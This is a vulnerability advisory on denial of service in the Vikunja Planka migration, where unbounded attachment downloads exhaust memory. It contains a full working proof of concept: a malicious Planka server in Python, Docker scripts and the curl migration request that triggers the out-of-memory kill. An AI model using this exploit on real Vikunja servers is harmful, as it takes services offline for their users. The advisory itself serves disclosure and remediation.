Vikunja: Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API

Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API

Summary

The always-registered Planka migration lets any ordinary user select a Planka server. Although Vikunja caps each JSON response, pagination loop, and attachment independently, it has no aggregate job budget. The conversion stage downloads every advertised non-link attachment and keeps every byte slice live until the complete hierarchy is inserted. A public attacker server can therefore drive memory beyond any finite service allocation. The final Docker run preserved default SSRF policy and OOM-killed the healthy API after five individually valid 20 MiB attachment responses.

Impact and affected scope

• Type: Resource Exhaustion Dos
• Affected component: POST /api/v2/migration/planka/migrate; Asynchronous migration.requested worker for the Planka migrator
• Preconditions: A low-privilege Vikunja user supplies an attacker-operated public Planka URL and token. That server controls project/board/card/attachment counts and streams each attachment body at or below Vikunja's normal per-file limit.
• Verified revision: d66ef3d1a39c6f7289593059a1a34afd1d059260 on 28 August 2026
• Affected release range: > 2.5.0 for the tested post-2.5.0 main branch; no released build was independently reproduced

A low-privilege remote user operating a public HTTP server can terminate the shared Vikunja process and make the API unavailable with one migration submission.

Technical details

Planka conversion downloads each non-link attachment into a bytes.Buffer and assigns buf.Bytes() to the in-memory task attachment. Every allocation remains reachable in the hierarchy until all remote data has been fetched and InsertFromStructure begins. Per-response, per-page, and per-file limits do not cap the sum.

Attack path: Authenticated migration request -> synchronous attacker-server credential probe -> asynchronous Migrate with no request deadline -> fetch attacker project/board metadata -> loop attacker attachment list -> individually size-limited downloads -> retain all FileContent slices -> process/container OOM and API termination

Relevant code:

• pkg/routes/api/v2/migration_credentials.go:35
• pkg/routes/api/v2/migration_shared.go:73
• pkg/routes/api/v2/migration_shared.go:95
• pkg/modules/migration/planka/client.go:37
• pkg/modules/migration/planka/client.go:356
• pkg/modules/migration/planka/fetch.go:29
• pkg/modules/migration/planka/fetch.go:32
• pkg/modules/migration/planka/convert.go:275
• pkg/modules/migration/planka/convert.go:280
• pkg/modules/migration/planka/convert.go:293
• pkg/modules/migration/planka/planka.go:86
• pkg/modules/migration/planka/planka.go:100

Reproduction

Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.

Create reproduction/Dockerfile:

FROM golang:1.27-bookworm AS builder

WORKDIR /src
COPY --from=target . .
RUN mkdir -p frontend/dist \
    && printf '<!doctype html><title>PoC</title>' > frontend/dist/index.html \
    && go build -o /out/vikunja .

FROM golang:1.27-bookworm

RUN apt-get update \
    && apt-get install -y --no-install-recommends ca-certificates curl python3 \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /app
COPY --from=builder /out/vikunja /app/vikunja
COPY . /app
RUN chmod +x /app/verify.sh

Create reproduction/verify.sh:

#!/usr/bin/env bash
set -euo pipefail

test -d /target-repo
test "$(git -C /target-repo rev-parse HEAD)" = "d66ef3d1a39c6f7289593059a1a34afd1d059260"
test -z "${VIKUNJA_OUTGOINGREQUESTS_ALLOWNONROUTABLEIPS:-}"

mkdir -p /work/files /work/logs
export VIKUNJA_DATABASE_TYPE=sqlite
export VIKUNJA_DATABASE_PATH=/work/vikunja.db
export VIKUNJA_FILES_BASEPATH=/work/files
export VIKUNJA_LOG_PATH=/work/logs
export VIKUNJA_SERVICE_ROOTPATH=/work
export VIKUNJA_SERVICE_INTERFACE=0.0.0.0:3456
export VIKUNJA_SERVICE_PUBLICURL=http://127.0.0.1:3456/
export VIKUNJA_SERVICE_FRONTENDURL=http://127.0.0.1:3456/

python3 /app/malicious_planka.py > /work/planka.log 2>&1 &
PLANKA_PID=$!
/app/vikunja > /work/vikunja.log 2>&1 &
VIKUNJA_PID=$!
cleanup() {
  if kill -0 "${VIKUNJA_PID}" 2>/dev/null; then
    kill "${VIKUNJA_PID}" 2>/dev/null || true
    wait "${VIKUNJA_PID}" 2>/dev/null || true
  fi
  if kill -0 "${PLANKA_PID}" 2>/dev/null; then
    kill "${PLANKA_PID}" 2>/dev/null || true
    wait "${PLANKA_PID}" 2>/dev/null || true
  fi
}
trap cleanup EXIT

for _ in $(seq 1 90); do
  if curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1 \
    && curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null 2>&1; then
    break
  fi
  sleep 1
done
curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null
curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null

REGISTER_CODE="$(curl -sS -o /work/register.json -w '%{http_code}' \
  -H 'Content-Type: application/json' \
  -d '{"username":"PoC","email":"PoC@example.invalid","password":"PoC-Test-Password-123!"}' \
  http://127.0.0.1:3456/api/v2/register)"
test "${REGISTER_CODE}" = "201"
curl -fsS \
  -H 'Content-Type: application/json' \
  -d '{"username":"PoC","password":"PoC-Test-Password-123!","long_token":false}' \
  http://127.0.0.1:3456/api/v2/login > /work/login.json
TOKEN="$(python3 -c 'import json; print(json.load(open("/work/login.json"))["token"])')"
test -n "${TOKEN}"

BASELINE_RSS_KIB="$(awk '/VmRSS/{print $2}' "/proc/${VIKUNJA_PID}/status")"
OOM_BEFORE="$(awk '$1 == "oom_kill" {print $2}' /sys/fs/cgroup/memory.events)"
MIGRATE_CODE="$(curl -sS -o /work/migrate.json -w '%{http_code}' \
  -H "Authorization: Bearer ${TOKEN}" \
  -H 'Content-Type: application/json' \
  -d '{"url":"http://93.184.216.34:18080","token":"attacker-key"}' \
  http://127.0.0.1:3456/api/v2/migration/planka/migrate)"
test "${MIGRATE_CODE}" = "200"

for _ in $(seq 1 90); do
  if ! kill -0 "${VIKUNJA_PID}" 2>/dev/null; then
    break
  fi
  sleep 1
done
if kill -0 "${VIKUNJA_PID}" 2>/dev/null; then
  echo "[PoC] target survived unexpectedly" >&2
  tail -n 80 /work/vikunja.log >&2
  tail -n 80 /work/planka.log >&2
  exit 1
fi

set +e
wait "${VIKUNJA_PID}"
TARGET_EXIT=$?
set -e
OOM_AFTER="$(awk '$1 == "oom_kill" {print $2}' /sys/fs/cgroup/memory.events)"
ATTACHMENTS_SERVED="$(cat /work/attachment-count 2>/dev/null || echo 0)"

test "${OOM_AFTER}" -gt "${OOM_BEFORE}"
test "${TARGET_EXIT}" -eq 137
test "${ATTACHMENTS_SERVED}" -ge 4
kill -0 "${PLANKA_PID}"
if curl -fsS --max-time 2 http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1; then
  echo "[PoC] health endpoint remained available after target exit" >&2
  exit 1
fi

kill "${PLANKA_PID}" 2>/dev/null || true
wait "${PLANKA_PID}" 2>/dev/null || true
trap - EXIT
echo "[PoC] evidence: migrate_status=${MIGRATE_CODE} public_attacker_ip=93.184.216.34 attachments_served=${ATTACHMENTS_SERVED} baseline_rss_kib=${BASELINE_RSS_KIB} target_exit=${TARGET_EXIT} oom_kill_delta=$((OOM_AFTER - OOM_BEFORE))"
echo "[PoC] VERIFIED: one low-privilege Planka migration exhausted target memory and terminated the Vikunja API under default SSRF policy"

Create reproduction/run.sh:

#!/usr/bin/env bash
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
FINDING_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)"
SESSION_DIR="$(cd "${FINDING_DIR}/.." && pwd)"
if [[ "$(basename "${SESSION_DIR}")" == "artifacts" ]]; then
  SESSION_DIR="$(cd "${SESSION_DIR}/.." && pwd)"
fi
CASE_ID="$(basename "${SESSION_DIR}")"
FINDING_NAME="$(basename "${FINDING_DIR}")"
IMAGE_TAG="PoC-${CASE_ID}-${FINDING_NAME}"
NETWORK_NAME="${IMAGE_TAG}-net-$$"
TARGET_REPO_URL="https://github.com/go-vikunja/vikunja.git"
TARGET_REF="d66ef3d1a39c6f7289593059a1a34afd1d059260"
WORKDIR="$(mktemp -d "${SESSION_DIR}/.PoC-repro.XXXXXX")"
NETWORK_CREATED=false
cleanup() {
  if [[ "${NETWORK_CREATED}" == "true" ]]; then
    docker network rm "${NETWORK_NAME}" > /dev/null 2>&1 || true
  fi
  rm -rf "${WORKDIR}"
}
trap cleanup EXIT
TARGET_REPO_DIR="${WORKDIR}/repo"

echo "[PoC] cloning target repository"
git clone --filter=blob:none --no-checkout "${TARGET_REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --detach "${TARGET_REF}"
printf '\n.git\n' >> "${TARGET_REPO_DIR}/.dockerignore"

echo "[PoC] building reproduction image: ${IMAGE_TAG}"
docker build \
  --build-context "target=${TARGET_REPO_DIR}" \
  -t "${IMAGE_TAG}" \
  "${SCRIPT_DIR}"

echo "[PoC] creating isolated public-address test network"
docker network create --subnet 93.184.216.0/24 "${NETWORK_NAME}" > /dev/null
NETWORK_CREATED=true

echo "[PoC] running exploit trigger and verification"
docker run --rm \
  --network "${NETWORK_NAME}" \
  --ip 93.184.216.34 \
  --memory=256m \
  --memory-swap=256m \
  -v "${TARGET_REPO_DIR}:/target-repo:ro" \
  "${IMAGE_TAG}" \
  /app/verify.sh

echo "[PoC] SUCCESS: reproduction completed and verified"

Create reproduction/malicious_planka.py:

#!/usr/bin/env python3
import json
import os
import threading
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer

ATTACHMENT_COUNT = 24
ATTACHMENT_BYTES = 20 * 1024 * 1024
counter = 0
counter_lock = threading.Lock()


class Handler(BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"

    def log_message(self, fmt, *args):
        print(fmt % args, flush=True)

    def send_json(self, payload):
        body = json.dumps(payload, separators=(",", ":")).encode()
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def do_DELETE(self):
        self.send_response(204)
        self.send_header("Content-Length", "0")
        self.end_headers()

    def do_GET(self):
        global counter
        if self.path == "/api/users/me":
            self.send_json({"item": {"id": "attacker"}})
            return
        if self.path == "/api/projects":
            self.send_json(
                {
                    "items": [{"id": "p1", "name": "attacker project"}],
                    "included": {
                        "boards": [
                            {"id": "b1", "name": "board", "projectId": "p1", "position": 1}
                        ],
                        "baseCustomFieldGroups": [],
                        "customFields": [],
                    },
                }
            )
            return
        if self.path == "/api/boards/b1":
            attachments = [
                {
                    "id": f"a{i}",
                    "type": "file",
                    "name": f"aggregate-{i}.bin",
                    "cardId": "c1",
                    "data": {"mimeType": "application/octet-stream"},
                }
                for i in range(ATTACHMENT_COUNT)
            ]
            self.send_json(
                {
                    "item": {"id": "b1", "name": "board", "projectId": "p1", "position": 1},
                    "included": {
                        "users": [],
                        "labels": [],
                        "lists": [
                            {"id": "l1", "name": "active", "type": "active", "position": 1}
                        ],
                        "cards": [
                            {"id": "c1", "name": "memory bomb", "listId": "l1", "commentsTotal": 0}
                        ],
                        "cardLabels": [],
                        "taskLists": [],
                        "tasks": [],
                        "attachments": attachments,
                        "customFieldGroups": [],
                        "customFields": [],
                        "customFieldValues": [],
                    },
                }
            )
            return
        if self.path.startswith("/attachments/"):
            self.send_response(200)
            self.send_header("Content-Type", "application/octet-stream")
            self.send_header("Content-Length", str(ATTACHMENT_BYTES))
            self.end_headers()
            chunk = b"A" * 65536
            try:
                for _ in range(ATTACHMENT_BYTES // len(chunk)):
                    self.wfile.write(chunk)
            except (BrokenPipeError, ConnectionResetError):
                return
            with counter_lock:
                counter += 1
                with open("/work/attachment-count", "w", encoding="ascii") as count_file:
                    count_file.write(str(counter))
                    count_file.flush()
                    os.fsync(count_file.fileno())
            return
        self.send_response(404)
        self.send_header("Content-Length", "0")
        self.end_headers()


ThreadingHTTPServer(("0.0.0.0", 18080), Handler).serve_forever()

From the directory containing these files, run:

chmod +x reproduction/run.sh reproduction/*.sh 2>/dev/null || true
./reproduction/run.sh

Expected: The migration request should return 200, the attacker server should complete several individually permitted attachment responses, then Vikunja should be OOM-killed and its health endpoint should stop responding while the attacker service and verifier survive.

Observed: The final run returned migrate_status=200 using public_attacker_ip=93.184.216.34 with no non-routable-IP override. The attacker completed five 20 MiB responses; Vikunja exited 137, cgroup oom_kill increased by one, and health became unavailable while the attacker server remained alive. The verifier emitted the expected VERIFIED signal and run.sh exited 0.

Verification and controls: The helper requires the pinned mounted checkout, an unset allow-non-routable override, a healthy API and attacker endpoint, and successful normal-user registration/login. It records memory.events, submits the real Planka route, counts fully served attachment bodies, and accepts success only on migrate 200, at least four complete bodies, target exit 137, oom_kill increment, surviving attacker server, and failed health.

Observed evidence:

• migrate_status=200
• public_attacker_ip=93.184.216.34
• attachments_served=5
• baseline_rss_kib=68064
• target_exit=137
• oom_kill_delta=1
• [PoC] VERIFIED: one low-privilege Planka migration exhausted target memory and terminated the Vikunja API under default SSRF policy

Suggested remediation

Enforce the intended authorization, size, cardinality, recursion, or lifecycle boundary before the sensitive operation described above; fail closed; release partial resources on every exit path; and add a regression test that preserves the exploit and negative-control oracles.

Severity

CVSS v4.0: 7.1 (High) — Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

This assessment is preliminary and pending maintainer confirmation. The score was recalculated with the FIRST CVSS v4.0 reference implementation on 28 August 2026.

Disclosure context and attribution

AI-assisted analysis helped surface this issue; the behavior was independently reproduced and validated in an isolated environment.

Reported by the University of Sydney security research team:

• Ziyue Wang (@Zyy0530)
• Liyi Zhou (@lzhou1110)
• Strick Sheng (@Str1ckl4nd)
• Maurice Ng (@mauriceng98)
• Chenchen Yu (@7thParkk)

We are happy to answer questions, provide additional verification details, or validate a candidate patch.